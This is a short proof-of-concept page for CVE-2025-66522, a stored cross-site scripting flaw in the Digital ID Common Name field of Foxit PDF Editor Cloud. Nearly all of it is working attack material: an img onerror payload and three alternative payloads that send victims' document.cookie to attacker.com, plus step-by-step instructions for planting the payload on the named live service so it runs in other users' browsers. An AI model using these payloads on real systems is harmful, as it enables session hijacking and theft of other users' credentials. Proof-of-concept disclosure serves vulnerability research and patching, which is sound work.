CVE-2025-66522 | Foxit PDF Editor Cloud 数字证书存储型XSS漏洞

// CVE-2025-66522 PoC - Stored XSS in Foxit PDF Editor Cloud Digital IDs // Create a malicious Digital ID with XSS payload in Common Name field const maliciousCommonName = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; // Alternative payloads: // 1. Script tag: <script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script> // 2. Event handler: <svg onload="fetch('https://attacker.com/log?c='+document.cookie)"> // 3. JavaScript URI: <a href="javascript:fetch('https://attacker.com/exec?c='+document.cookie)">Click</a> // Steps to exploit: // 1. Navigate to Foxit PDF Editor Cloud (pdfonline.foxit.com) // 2. Access Digital IDs management section // 3. Create new Digital ID or import certificate // 4. In Common Name field, inject the XSS payload above // 5. Save the Digital ID // 6. When any user views this Digital ID or opens associated PDF, // the malicious script will execute in their browser context console.log('PoC for CVE-2025-66522: Stored XSS via Digital IDs Common Name field');